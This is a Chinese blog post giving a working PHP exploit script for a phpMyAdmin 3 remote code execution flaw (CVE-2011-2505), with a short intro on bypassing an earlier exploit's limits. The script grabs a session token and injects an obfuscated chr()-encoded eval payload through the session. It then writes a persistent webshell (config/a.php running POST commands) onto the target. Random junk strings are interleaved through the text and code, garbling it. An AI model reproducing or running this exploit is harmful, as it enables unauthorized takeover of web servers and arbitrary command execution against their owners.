phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。

  M1 G$ k% Y* q6 }7 }* _' }昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
1 z0 c" y. q3 k  I7 A" P( B
! ~0 |1 {2 C2 R7 M. `5 e首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
; f  ]1 O/ N8 k& C. r, t" W当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。

6 K$ s( [+ ?: A  ~6 I0 w2 l在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
0 h# v: A; b% n' M2 o* ~& ^
于是写了这个php版本的exp，代码如下：

#!/usr/bin/php
3 u7 ^5 `. U5 k: u! Y. c, y<?php
5 V8 ]; E4 p" v# N8 N) d# Cprint_r('
8 N) C0 t$ e" d& G  k+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
9 Y# z! R1 b- k5 Q' h% @by oldjun(www.oldjun.com)
welcome to www.t00ls.net
8 p2 D9 u5 m, N& P% `mail: oldjun@gmail.com
& |' |; `7 R% \) sAssigned CVE id: CVE-2011-2505
, |- X9 J- U" C4 W+---------------------------------------------------------------------------+
# f1 h& }; x3 j' U  ]');
3 S4 c7 o9 ^5 s+ h* O% V8 e
- s  k+ |) b3 |$ q/**
% Z& _' ?; p' G9 ^- p1 m * working when the directory:"config" exists and is writeable.
, c# A# {1 {+ b. }$ A/ Y0 S**/
, u! D5 K* T( _
4 F7 t* V1 B  Jif ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
9 m3 j/ d: `, Xhost:      target server (ip/hostname)
path:      path to pma3
, A2 z; {- L& A* V/ t0 O1 AExample:
php '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
/ a0 t/ c3 V! I- `% ^( E');
    exit;
# F% J; `" {7 h* [0 ~( }}
% X+ {. r' q+ \. T
$host = $argv[1];
$path = $argv[2];
2 _% f5 k; ~% u9 n4 R; n9 T) F' I
& x3 L! s  w3 w' d/**
7 w, z6 j  h0 _* K * Try to determine if the directory:"config" exists
7 c7 h4 G  T: F1 j**/
: J" V# k; R* A- P; ~" P/ aecho "[+] Try to determine if the directory:config exists....\n";
) i0 E$ d, C' f$returnstr=php_request('config/');
if(strpos($returnstr,'404')){
* R  Y' h5 g8 N) r    exit("[-] Exploit Failed! The directory:config do not exists!\n");
+ d; h; Z& J7 |4 \: P}

% [/ T  u* z7 L7 J( S0 e8 F8 |/**
/ W% Q1 Q  k1 I6 R1 z$ Q * Try to get token and sessionid
9 X6 K7 w4 y1 D2 n9 r1 t**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
4 ~7 r$ B3 A! I% A0 f2 vpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
$sessionid=$resp[1];
$ y5 p/ a  q+ \, D2 T7 P7 Vif($token && $sessionid){
    echo "[+] tokentoken\n";
    echo "[+] Session IDsessionid\n";
}else{
5 w' T1 I: I4 C0 T    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
9 b. j) N0 m. J: K& R: J}
: t7 I4 L, |* ?- g' [" \' W# K8 A9 ~
  V% z; ]( j: m2 {6 h/**
( {! J! U* Z0 s% C/ b4 o* Y * Try to insert shell into session
" A1 T+ Q8 I- t2 I* @; ~$ c**/
% H4 Z  C$ V: ~7 a* z2 Fecho "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.

3 j5 L" r5 G  H2 ^1 X/**
9 c6 Q( E# }8 _. N * Try to create webshell
**/
; i. d3 C+ b8 A: H' `echo "[+] Try to create webshell....\n";
4 K9 k9 O; x0 k% B' Y$ |php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
* G3 @% \$ \; @3 v. l- p$ {2 f3 d/**
: }1 h4 C. N/ z6 C! j' t * Try to check if the webshell was created successfully
**/
+ i) U  V7 z6 j9 u/ h$ Mecho "[+] Try to check if the webshell was created successfully....\n";
7 Z7 f* ?, e, [- u* z7 Y7 C$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
4 D7 y0 f8 ]( F3 B2 ]' R    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
. ^/ A) Y9 z4 N8 S}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}
$ b/ f/ _+ h. y. j: i- N
% z4 A' p; O8 b1 ~* {( V; vfunction php_request($url,$data='',$cookie=''){
% p4 t9 E" R6 ~: u: B    global  $host, $path;
1 s9 P3 v: f! l2 ?9 F5 l+ t   
    $method=$data?'POST':'GET';
1 I4 g- g# ^  t   
3 w0 L( p$ J: N8 s: T& ~    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
; C0 P! X7 F9 }+ E, J  U    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
; u8 r7 ?* Q: c/ a    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";

    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
0 i) V! r8 A2 C$ I9 J$ G    echo 'No response from '.$host; die;
. ?8 W! N4 G1 W8 x- P. k    }
    fputs($fp, $packet);

% ]1 T0 s7 \) Y+ I; w5 e. v    $resp = '';
2 A4 N& y8 b, g% V% S
    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
( q) }2 E* T# i4 {; h5 h
2 ^! b  {9 q8 j1 y    return $resp;
}
# P0 X- |' n2 T& c1 {   
?>
2 a( c2 I$ ~: F9 v3 ^.